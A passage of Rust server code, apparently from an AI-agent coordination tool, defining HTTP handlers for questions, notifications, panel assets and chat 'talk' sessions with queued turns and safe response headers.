5814 self.origin_chat = talk.map(|t| t.id);
5815 self
5816 }
5817}
5818
5819fn deputy_config(repo: &std::path::Path) -> Option<Config> {
5823 Config::discover(repo, None).ok().map(|(c, _)| c)
5824}
5825
5826fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
5828 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
5829}
5830
5831fn question_views(
5834 qs: Vec<Question>,
5835 store: &ask::Questions,
5836 load: impl FnOnce() -> Option<Config>,
5837) -> Vec<QuestionView> {
5838 if qs.is_empty() {
5839 return Vec::new();
5840 }
5841 let cfg = load();
5842 qs.into_iter()
5843 .map(|q| {
5844 let on = deputies_enabled(cfg.as_ref(), &q);
5845 QuestionView::of(q, store, on)
5846 })
5847 .collect()
5848}
5849
5850fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
5860 if !q.status.open() {
5861 return None;
5862 }
5863 if q.cwd.is_none() && q.deputy.is_none() {
5864 return crate::deputy::kind_of(q).map(|_| "nobody");
5865 }
5866 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
5867 Some(_) if q.deputy.is_some() => "deputy",
5868 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
5869 Some(_) => "asker",
5870 None => "nobody",
5871 })
5872}
5873
5874async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
5880 blocking(move || {
5881 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5882 Ok(Json(
5883 question_views(ui.questions.list(), &ui.questions, || {
5884 deputy_config(&ui.repo)
5885 })
5886 .into_iter()
5887 .map(|v| v.with_origin(&tasks, &talks))
5888 .collect(),
5889 ))
5890 })
5891 .await
5892}
5893
5894async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5897 blocking(move || {
5898 let items = ui.notices.list();
5899 let unread = items.iter().filter(|n| n.unread()).count();
5900 Ok(Json(
5901 serde_json::json!({ "unread": unread, "items": items }),
5902 ))
5903 })
5904 .await
5905}
5906
5907fn notice_error(e: anyhow::Error) -> ApiError {
5908 ApiError::not_found(format!("{e:#}"))
5911}
5912
5913async fn notification_read(
5915 State(ui): State<Arc<Ui>>,
5916 Path(id): Path<String>,
5917) -> ApiResult<Json<Notice>> {
5918 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
5919}
5920
5921async fn notification_dismiss(
5923 State(ui): State<Arc<Ui>>,
5924 Path(id): Path<String>,
5925) -> ApiResult<Json<Notice>> {
5926 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
5927}
5928
5929async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
5931 blocking(move || {
5932 let changed = ui.notices.mark_all_read()?;
5933 Ok(Json(serde_json::json!({ "marked": changed })))
5934 })
5935 .await
5936}
5937
5938#[derive(Debug, Default, Deserialize)]
5944#[serde(default, deny_unknown_fields)]
5945struct NewAnswer {
5946 choice: Option<String>,
5947 text: Option<String>,
5948}
5949
5950async fn question_answer(
5951 State(ui): State<Arc<Ui>>,
5952 Path(id): Path<String>,
5953 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
5954) -> ApiResult<Json<QuestionView>> {
5955 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5956 let answer = match (body.choice, body.text) {
5957 (Some(c), None) => Answer::Choice(c),
5958 (None, Some(t)) => Answer::Text(t),
5959 (Some(_), Some(_)) => {
5960 return Err(ApiError::bad_request(
5961 "send either `choice` or `text`, not both",
5962 ));
5963 }
5964 (None, None) => {
5965 return Err(ApiError::bad_request("send a `choice` or a `text`"));
5966 }
5967 };
5968
5969 blocking(move || {
5970 let id = resolve_question(&ui.questions, &id)?;
5971 let q = ui
5972 .questions
5973 .get(&id)
5974 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
5975 if !q.status.open() {
5976 return Err(ApiError::conflict(format!(
5980 "question {} is already {}",
5981 q.short(),
5982 q.status.as_str()
5983 )));
5984 }
5985 let (q, ()) = ui
5989 .questions
5990 .update(&q.id, |r| r.answer(answer))
5991 .map_err(ApiError::bad_request_from)?;
5992 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
5993 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
5994 Ok(Json(
5995 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
5996 ))
5997 })
5998 .await
5999}
6000
6001#[derive(Debug, Deserialize)]
6003#[serde(deny_unknown_fields)]
6004struct NewSay {
6005 body: String,
6006}
6007
6008async fn question_say(
6018 State(ui): State<Arc<Ui>>,
6019 Path(id): Path<String>,
6020 body: std::result::Result<Json<NewSay>, JsonRejection>,
6021) -> ApiResult<Json<QuestionView>> {
6022 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6023 blocking(move || {
6024 let id = resolve_question(&ui.questions, &id)?;
6025 let q = ui
6026 .questions
6027 .get(&id)
6028 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6029 if !q.status.open() {
6030 return Err(ApiError::conflict(format!(
6034 "question {} is already {}",
6035 q.short(),
6036 q.status.as_str()
6037 )));
6038 }
6039 let (q, ()) = ui
6042 .questions
6043 .update(&q.id, |r| r.say(body.body))
6044 .map_err(ApiError::bad_request_from)?;
6045 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6046 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6047 Ok(Json(
6048 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6049 ))
6050 })
6051 .await
6052}
6053
6054async fn question_consult(
6063 State(ui): State<Arc<Ui>>,
6064 Path(id): Path<String>,
6065) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6066 let (view, reclaimed) = blocking({
6067 let ui = Arc::clone(&ui);
6068 move || {
6069 let id = resolve_question(&ui.questions, &id)?;
6070 let q = ui
6071 .questions
6072 .get(&id)
6073 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6074 if !q.status.open() {
6075 return Err(ApiError::conflict(format!(
6076 "question {} is already {}",
6077 q.short(),
6078 q.status.as_str()
6079 )));
6080 }
6081 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6082 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6083 return Err(ApiError::conflict(format!(
6084 "question {} has no chat to ask",
6085 q.short()
6086 )));
6087 };
6088 let cfg = if q.consult.is_none() {
6092 Some(Config::discover(&talk.repo, None)?.0)
6093 } else {
6094 None
6095 };
6096 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6097 let claim = if fresh {
6098 match ui.begin_queued_talk_turn(&talk.id)? {
6099 Some(turn_guard) => {
6100 let talk = ui.talks.get(&talk.id)?;
6101 let cfg = match cfg {
6102 Some(cfg) => cfg,
6103 None => Config::discover(&talk.repo, None)?.0,
6104 };
6105 Some((talk, cfg, turn_guard))
6106 }
6107 None => None,
6108 }
6109 } else {
6110 None
6111 };
6112 let q = ui.questions.get(&q.id)?;
6113 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6114 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6115 Ok((view, claim))
6116 }
6117 })
6118 .await?;
6119 if let Some((talk, cfg, turn_guard)) = reclaimed {
6120 let talks = ui.talks.clone();
6121 let id = talk.id.clone();
6122 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6123 }
6124 Ok((StatusCode::ACCEPTED, Json(view)))
6125}
6126
6127fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6129 if store.path_of(id).is_file() {
6130 return Ok(id.to_owned());
6131 }
6132 pick(
6133 store.list().into_iter().map(|q| q.id).collect(),
6134 id,
6135 "question",
6136 )
6137}
6138
6139async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6154 blocking(move || {
6155 let id = resolve_question(&ui.questions, &id)?;
6156 let Some(html) = ui.questions.panel_html(&id) else {
6157 return Err(ApiError::not_found(format!("question {id} has no panel")));
6158 };
6159 Ok(panel_response(
6160 "text/html; charset=utf-8",
6161 false,
6162 html.into_bytes(),
6163 ))
6164 })
6165 .await
6166}
6167
6168async fn question_asset(
6196 State(ui): State<Arc<Ui>>,
6197 Path((id, name)): Path<(String, String)>,
6198) -> ApiResult<Response> {
6199 if !crate::ask::valid_asset_name(&name) {
6202 return Err(ApiError::bad_request(format!(
6203 "`{name}` is not a usable asset name"
6204 )));
6205 }
6206 blocking(move || {
6207 let id = resolve_question(&ui.questions, &id)?;
6208 let asset = ui
6209 .questions
6210 .panel_asset(&id, &name)
6211 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6212 let Some(bytes) = asset else {
6213 return Err(ApiError::not_found(format!(
6214 "question {id} has no asset `{name}`"
6215 )));
6216 };
6217 Ok(panel_response(
6218 asset_content_type(&name),
6219 is_svg(&name),
6220 bytes,
6221 ))
6222 })
6223 .await
6224}
6225
6226fn asset_content_type(name: &str) -> &'static str {
6239 match extension(name).as_deref() {
6240 Some("png") => "image/png",
6241 Some("jpg" | "jpeg") => "image/jpeg",
6242 Some("gif") => "image/gif",
6243 Some("webp") => "image/webp",
6244 Some("svg") => "image/svg+xml",
6245 Some("css") => "text/css; charset=utf-8",
6246 Some("txt") => "text/plain; charset=utf-8",
6247 _ => "application/octet-stream",
6248 }
6249}
6250
6251fn is_svg(name: &str) -> bool {
6254 extension(name).as_deref() == Some("svg")
6255}
6256
6257fn extension(name: &str) -> Option<String> {
6259 name.rsplit_once('.')
6260 .map(|(_, ext)| ext.to_ascii_lowercase())
6261}
6262
6263fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6280 let mut res = (
6281 [
6282 (header::CONTENT_TYPE, content_type),
6283 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6284 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6285 (header::REFERRER_POLICY, "no-referrer"),
6286 ],
6287 body,
6288 )
6289 .into_response();
6290 if download {
6291 res.headers_mut().insert(
6292 header::CONTENT_DISPOSITION,
6293 HeaderValue::from_static("attachment"),
6294 );
6295 }
6296 res
6297}
6298
6299#[derive(Debug, Serialize)]
6305struct TalkView {
6306 #[serde(flatten)]
6307 talk: Talk,
6308 turn_bodies_md: Vec<Vec<md::Node>>,
6309 thinking: bool,
6317 context: talk::ContextUsage,
6321 operator_name: Option<String>,
6324 persona_name: Option<String>,
6326}
6327
6328impl TalkView {
6329 fn new(talk: Talk, thinking: bool) -> Self {
6332 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6333 Self::with_config(talk, thinking, cfg.as_ref())
6334 }
6335
6336 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6339 let context = talk::context_usage(&talk, cfg);
6340 let turn_bodies_md = talk
6341 .turns
6342 .iter()
6343 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6344 .collect();
6345 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6346 let persona_name = persona::find(specs, &talk.persona)
6347 .filter(|p| !p.is_default())
6348 .map(|p| p.name);
6349 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6350 Self {
6351 turn_bodies_md,
6352 thinking,
6353 context,
6354 operator_name,
6355 persona_name,
6356 talk,
6357 }
6358 }
6359}
6360
6361#[derive(Debug, Serialize)]
6366struct TalkDetailView {
6367 #[serde(flatten)]
6368 view: TalkView,
6369 tasks: Vec<TaskView>,
6370 roster: Vec<RosterEntry>,
6373 personas: Vec<PersonaEntry>,
6376}
6377
6378#[derive(Debug, Serialize)]
6380struct PersonaEntry {
6381 id: String,
6382 name: String,
6383}
6384
6385#[derive(Debug, Serialize)]
6387struct RosterEntry {
6388 id: String,
6389 kind: AgentKind,
6390 runnable: bool,
6392}
6393
6394async fn talks_list(
6399 State(ui): State<Arc<Ui>>,
6400 Query(q): Query<ListQuery>,
6401) -> ApiResult<Json<Vec<TalkView>>> {
6402 blocking(move || {
6403 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6404 Ok(Json(
6405 ui.talks
6406 .list()
6407 .into_iter()
6408 .filter(|talk| q.contains(&talk.id))
6409 .map(|talk| {
6410 let thinking = ui.is_thinking(&talk.id);
6411 let cfg = configs
6412 .entry(talk.repo.clone())
6413 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6414 TalkView::with_config(talk, thinking, cfg.as_ref())
6415 })
6416 .collect(),
6417 ))
6418 })
6419 .await
6420}
6421
6422#[derive(Debug, Default, Deserialize)]
6427#[serde(default)]
6428struct NewTalk {
6429 agent: Option<String>,
6430 repo: Option<PathBuf>,
6431 preferred_agent: Option<serde_json::Value>,
6435 persona: Option<serde_json::Value>,
6436 implementers: Option<serde_json::Value>,
6437}
6438
6439async fn talk_post(
6442 State(ui): State<Arc<Ui>>,
6443 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6444) -> ApiResult<impl IntoResponse> {
6445 let body = match body {
6449 Ok(Json(body)) => body,
6450 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6451 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6452 };
6453 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6454 let cfg = config_for(&repo).await?;
6455 let view = blocking(move || {
6456 let preferred = talk::Preferred {
6457 agent: body
6458 .preferred_agent
6459 .as_ref()
6460 .and_then(|v| v.as_str())
6461 .map(str::to_owned),
6462 persona: body
6463 .persona
6464 .as_ref()
6465 .and_then(|v| v.as_str())
6466 .map(str::to_owned),
6467 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
6468 };
6469 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
6470 let thinking = ui.is_thinking(&talk.id);
6471 Ok(TalkView::new(talk, thinking))
6472 })
6473 .await?;
6474 Ok((StatusCode::CREATED, Json(view)))
6475}
6476
6477async fn talk_detail(
6479 State(ui): State<Arc<Ui>>,
6480 Path(id): Path<String>,
6481) -> ApiResult<Json<TalkDetailView>> {
6482 blocking(move || {
6483 let id = resolve_talk(&ui.talks, &id)?;
6484 let talk = ui.talks.get(&id)?;
6485 let thinking = ui.is_thinking(&talk.id);
6486 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6487 .into_iter()
6488 .map(TaskView::from)
6489 .collect();
6490 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6491 let roster = cfg
6492 .as_ref()
6493 .map(|cfg| {
6494 cfg.agents
6495 .iter()
6496 .map(|a| RosterEntry {
6497 id: a.id.clone(),
6498 kind: a.kind,
6499 runnable: agent::installed(a),
6500 })
6501 .collect()
6502 })
6503 .unwrap_or_default();
6504 let specs = cfg
6505 .as_ref()
6506 .map(|cfg| cfg.talk.personas.clone())
6507 .unwrap_or_default();
6508 let personas = persona::catalog(&specs)
6509 .into_iter()
6510 .map(|p| PersonaEntry {
6511 id: p.id,
6512 name: p.name,
6513 })
6514 .collect();
6515 Ok(Json(TalkDetailView {
6516 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6517 tasks,
6518 roster,
6519 personas,
6520 }))
6521 })
6522 .await
6523}
6524
6525#[derive(Debug, Default, Deserialize)]
6531#[serde(default, deny_unknown_fields)]
6532struct NewTalkTurn {
6533 text: String,
6534 attachments: Vec<String>,
6535}
6536
6537#[derive(Debug, Deserialize)]
6538#[serde(deny_unknown_fields)]
6539struct EditTalkPending {
6540 text: String,
6541 expected_text: String,
6542 expected_attachments: Vec<String>,
6543}
6544
6545#[derive(Debug, Deserialize)]
6546#[serde(deny_unknown_fields)]
6547struct ClearTalkPending {
6548 expected_text: String,
6549 expected_attachments: Vec<String>,
6550}
6551
6552async fn talk_say(
6564 State(ui): State<Arc<Ui>>,
6565 Path(id): Path<String>,
6566 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6567) -> ApiResult<(StatusCode, Json<TalkView>)> {
6568 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6569 if body.text.trim().is_empty() && body.attachments.is_empty() {
6570 return Err(ApiError::bad_request("say something"));
6571 }
6572
6573 let id = {
6574 let ui = Arc::clone(&ui);
6575 let asked = id.clone();
6576 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6577 };
6578 {
6582 let ui = Arc::clone(&ui);
6583 let id = id.clone();
6584 blocking(move || {
6585 let talk = ui.talks.get(&id)?;
6586 if !talk.status.open() {
6587 return Err(ApiError::conflict(format!(
6588 "talk {} is {} and takes no more turns",
6589 talk.short(),
6590 talk.status.as_str()
6591 )));
6592 }
6593 Ok(())
6594 })
6595 .await?;
6596 }
6597
6598 let attachments = {
6603 let ui = Arc::clone(&ui);
6604 let id = id.clone();
6605 let ids = body.attachments.clone();
6606 blocking(move || {
6607 ids.into_iter()
6608 .map(|att_id| {
6609 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6610 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6611 })
6612 })
6613 .collect::<ApiResult<Vec<talk::Attachment>>>()
6614 })
6615 .await?
6616 };
6617
6618 let start = {
6623 let ui = Arc::clone(&ui);
6624 let id = id.clone();
6625 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6626 };
6627 let turn_guard = match start {
6628 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6629 TalkTurnStart::Pending => {
6630 return Err(ApiError::conflict(
6631 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6632 ));
6633 }
6634 TalkTurnStart::Foreign => {
6635 return Err(ApiError::conflict(
6636 "a turn is already running in another process; try again when it has finished",
6637 ));
6638 }
6639 TalkTurnStart::Busy => {
6640 let (tx, rx) = tokio::sync::oneshot::channel();
6656 tokio::spawn({
6657 let ui = Arc::clone(&ui);
6658 let id = id.clone();
6659 let said = body.text.clone();
6660 async move {
6661 let written = blocking({
6662 let ui = Arc::clone(&ui);
6663 let id = id.clone();
6664 move || {
6665 let mut talk = ui.talks.get(&id)?;
6666 #[cfg(test)]
6671 if let Some(gate) = ui
6672 .busy_queue_gate
6673 .lock()
6674 .unwrap_or_else(PoisonError::into_inner)
6675 .take()
6676 {
6677 let _ = gate.reached.send(());
6678 let _ = gate.release.recv();
6679 }
6680 if let Err(error) =
6681 talk::queue(&mut talk, &ui.talks, &said, attachments)
6682 {
6683 if let Ok(fresh) = ui.talks.get(&id) {
6684 if !fresh.status.open() {
6685 return Err(ApiError::conflict(format!(
6686 "talk {} is {} and takes no more turns",
6687 fresh.short(),
6688 fresh.status.as_str()
6689 )));
6690 }
6691 }
6692 return Err(ApiError::from(error));
6693 }
6694 let claim = match ui.begin_queued_talk_turn(&id)? {
6705 Some(turn_guard) => {
6706 let (cfg, _) = Config::discover(&talk.repo, None)?;
6707 Some((talk.clone(), cfg, turn_guard))
6708 }
6709 None => None,
6710 };
6711 let thinking = ui.is_thinking(&id);
6712 Ok((TalkView::new(talk, thinking), claim))
6713 }
6714 })
6715 .await;
6716 let (view, reclaimed) = match written {
6717 Ok(pair) => pair,
6718 Err(e) => {
6719 let _ = tx.send(Err(e));
6724 return;
6725 }
6726 };
6727 let _ = tx.send(Ok(view));
6730 if let Some((talk, cfg, turn_guard)) = reclaimed {
6731 let talks = ui.talks.clone();
6732 drain_loop(talk, talks, cfg, id, turn_guard).await;
6733 }
6734 }
6735 });
6736 let view = rx
6737 .await
6738 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6739 return Ok((StatusCode::ACCEPTED, Json(view)));
6740 }
6741 };
6742
6743 let (talk, cfg) = {
6744 let ui = Arc::clone(&ui);
6745 let id = id.clone();
6746 blocking(move || {
6747 let talk = ui.talks.get(&id)?;
6748 let (cfg, _) = Config::discover(&talk.repo, None)?;
6749 Ok((talk, cfg))
6750 })
6751 .await?
6752 };
6753
6754 let talks = ui.talks.clone();
6755 let (tx, rx) = tokio::sync::oneshot::channel();
6770 tokio::spawn({
6771 let ui = Arc::clone(&ui);
6772 let talks = talks.clone();
6773 let id = id.clone();
6774 let said = body.text.clone();
6775 let mut talk = talk.clone();
6776 async move {
6777 let recorded = blocking({
6778 let talks = talks.clone();
6779 move || {
6780 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6781 if let Ok(fresh) = talks.get(&talk.id) {
6782 if !fresh.status.open() {
6783 return Err(ApiError::conflict(format!(
6784 "talk {} is {} and takes no more turns",
6785 fresh.short(),
6786 fresh.status.as_str()
6787 )));
6788 }
6789 }
6790 return Err(ApiError::from(error));
6791 }
6792 Ok((said.trim().to_owned(), talk))
6798 }
6799 })
6800 .await;
6801 let (text, mut talk) = match recorded {
6802 Ok(pair) => pair,
6803 Err(e) => {
6804 let _ = tx.send(Err(e));
6808 return;
6809 }
6810 };
6811 let queued = talk.clone();
6812 let thinking = ui.is_thinking(&id);
6813 let _ = tx.send(Ok((queued, thinking)));
6816
6817 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6818 tracing::warn!("talk {id} turn failed: {e:#}");
6822 }
6823 drain_loop(talk, talks, cfg, id, turn_guard).await;
6826 }
6827 });
6828
6829 let (queued, thinking) = rx
6830 .await
6831 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6832
6833 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6835}
6836
6837async fn talk_pending_resume(
6841 State(ui): State<Arc<Ui>>,
6842 Path(id): Path<String>,
6843) -> ApiResult<(StatusCode, Json<TalkView>)> {
6844 let id = {
6845 let ui = Arc::clone(&ui);
6846 let asked = id.clone();
6847 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6848 };
6849 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6850 return Err(ApiError::conflict(
6851 "a talk turn is already running; the queued draft will be handled by it",
6852 ));
6853 };
6854 let (talk, cfg) = {
6855 let ui = Arc::clone(&ui);
6856 let id = id.clone();
6857 blocking(move || {
6858 let talk = ui.talks.get(&id)?;
6859 if !talk.status.open() {
6860 return Err(ApiError::conflict(format!(
6861 "talk {} is {} and takes no more turns",
6862 talk.short(),
6863 talk.status.as_str()
6864 )));
6865 }
6866 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6867 return Err(ApiError::conflict("there is no queued draft to resume"));
6868 }
6869 let (cfg, _) = Config::discover(&talk.repo, None)?;
6870 Ok((talk, cfg))
6871 })
6872 .await?
6873 };
6874 let view = TalkView::new(talk.clone(), true);
6875 let talks = ui.talks.clone();
6876 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6877 Ok((StatusCode::ACCEPTED, Json(view)))
6878}
6879
6880async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6896 let live_set = Arc::clone(&turn.turns);
6897 let mut turn = Some(turn);
6905 loop {
6906 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6907 tracing::warn!("talk {id} lost its turn lease; not draining further");
6910 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6911 if let Some(turn) = turn.take() {
6912 turn.release(&mut live);
6913 }
6914 break;
6915 }
6916 {
6917 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6920 if live.parking {
6921 if let Some(turn) = turn.take() {
6922 turn.release(&mut live);
6923 }
6924 break;
6925 }
6926 }
6927 let observed = live_set
6931 .lock()
6932 .unwrap_or_else(PoisonError::into_inner)
6933 .queued
6934 .get(&id)
6935 .copied()
6936 .unwrap_or(0);
6937 let drained = blocking({
6938 let talks = talks.clone();
6939 let live_set = Arc::clone(&live_set);
6940 move || {
6941 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6946 let result = if live.parking {
6947 Ok(None)
6948 } else {
6949 talk::drain(&mut talk, &talks)
6950 };
6951 drop(live);
6952 Ok((talk, result))
6953 }
6954 })
6955 .await;
6956 let (next_talk, result) = match drained {
6957 Ok(drained) => drained,
6958 Err(e) => {
6959 tracing::warn!(
6960 status = %e.status,
6961 message = %e.message,
6962 "talk {id} could not start queued-text drain"
6963 );
6964 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6965 turn.take()
6966 .expect("held for the whole loop until released here")
6967 .release(&mut live);
6968 break;
6969 }
6970 };
6971 talk = next_talk;
6972 let drained = match result {
6973 Ok(Some(drained)) => drained,
6974 Ok(None) => {
6975 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6976 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6977 continue;
6978 }
6979 turn.take()
6980 .expect("held for the whole loop until released here")
6981 .release(&mut live);
6982 break;
6983 }
6984 Err(e) => {
6985 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6986 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6987 turn.take()
6988 .expect("held for the whole loop until released here")
6989 .release(&mut live);
6990 break;
6991 }
6992 };
6993 let responded = match turn.as_ref() {
6994 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6995 None => Err(anyhow::anyhow!("the turn guard was released")),
6996 };
6997 if let Err(e) = responded {
6998 tracing::warn!("talk {id} turn failed: {e:#}");
6999 }
7000 }
7001}
7002
7003async fn talk_pending_clear(
7005 State(ui): State<Arc<Ui>>,
7006 Path(id): Path<String>,
7007 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7008) -> ApiResult<Json<TalkView>> {
7009 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7010 blocking(move || {
7011 let id = resolve_talk(&ui.talks, &id)?;
7012 let mut talk = ui.talks.get(&id)?;
7013 if !talk.status.open() {
7014 return Err(ApiError::conflict(format!(
7015 "talk {} is {} and takes no more turns",
7016 talk.short(),
7017 talk.status.as_str()
7018 )));
7019 }
7020 if !talk::clear_pending_if_matches(
7021 &mut talk,
7022 &ui.talks,
7023 &body.expected_text,
7024 &body.expected_attachments,
7025 )? {
7026 return Err(ApiError::conflict(
7027 "queued message changed; reload it before clearing",
7028 ));
7029 }
7030 let thinking = ui.is_thinking(&talk.id);
7031 Ok(Json(TalkView::new(talk, thinking)))
7032 })
7033 .await
7034}
7035
7036async fn talk_pending_edit(
7040 State(ui): State<Arc<Ui>>,
7041 Path(id): Path<String>,
7042 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7043) -> ApiResult<Json<TalkView>> {
7044 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7045 let (view, reclaimed) = blocking({
7046 let ui = Arc::clone(&ui);
7047 move || {
7048 let id = resolve_talk(&ui.talks, &id)?;
7049 let mut talk = ui.talks.get(&id)?;
7050 if !talk.status.open() {
7051 return Err(ApiError::conflict(format!(
7052 "talk {} is {} and takes no more turns",
7053 talk.short(),
7054 talk.status.as_str()
7055 )));
7056 }
7057 if !talk::edit_pending_text(
7058 &mut talk,
7059 &ui.talks,
7060 &body.text,
7061 &body.expected_text,
7062 &body.expected_attachments,
7063 )? {
7064 return Err(ApiError::conflict(
7065 "queued message changed; reload it before editing",
7066 ));
7067 }
7068 let claim = match ui.begin_queued_talk_turn(&id)? {
7069 Some(turn_guard) => {
7070 let (cfg, _) = Config::discover(&talk.repo, None)?;
7071 Some((talk.clone(), cfg, id.clone(), turn_guard))
7072 }
7073 None => None,
7074 };
7075 let thinking = ui.is_thinking(&id);
7076 Ok((TalkView::new(talk, thinking), claim))
7077 }
7078 })
7079 .await?;
7080 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7081 let talks = ui.talks.clone();
7082 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7083 }
7084 Ok(Json(view))
7085}
7086
7087fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7089 if talk.status.open() {
7090 return Ok(());
7091 }
7092 Err(ApiError::conflict(format!(
7093 "talk {} is {} and takes no more turns",
7094 talk.short(),
7095 talk.status.as_str()
7096 )))
7097}
7098
7099#[derive(Debug, Deserialize)]
7101struct TalkAgent {
7102 agent: String,
7103}
7104
7105async fn talk_agent(
7110 State(ui): State<Arc<Ui>>,
7111 Path(id): Path<String>,
7112 Json(body): Json<TalkAgent>,
7113) -> ApiResult<Json<TalkView>> {
7114 let id = {
7115 let ui = Arc::clone(&ui);
7116 blocking(move || resolve_talk(&ui.talks, &id)).await?
7117 };
7118 let repo = {
7119 let ui = Arc::clone(&ui);
7120 let id = id.clone();
7121 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7122 };
7123 let cfg = config_for(&repo).await?;
7124 {
7126 let ui = Arc::clone(&ui);
7127 let id = id.clone();
7128 let cfg = cfg.clone();
7129 let wanted = body.agent.clone();
7130 blocking(move || {
7131 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
7132 .map_err(ApiError::bad_request_from)?;
7133 refuse_if_closed(&ui.talks.get(&id)?)
7134 })
7135 .await?;
7136 }
7137 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7138 return Err(ApiError::conflict(
7139 "a talk turn is running; change the agent once it has answered",
7140 ));
7141 };
7142 let switched = {
7143 let ui = Arc::clone(&ui);
7144 let id = id.clone();
7145 let cfg = cfg.clone();
7146 blocking(move || {
7147 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
7148 .map_err(ApiError::bad_request_from)?;
7149 let mut talk = ui.talks.get(&id)?;
7150 if !talk.status.open() {
7151 return Err(ApiError::conflict(format!(
7152 "talk {} is {} and takes no more turns",
7153 talk.short(),
7154 talk.status.as_str()
7155 )));
7156 }
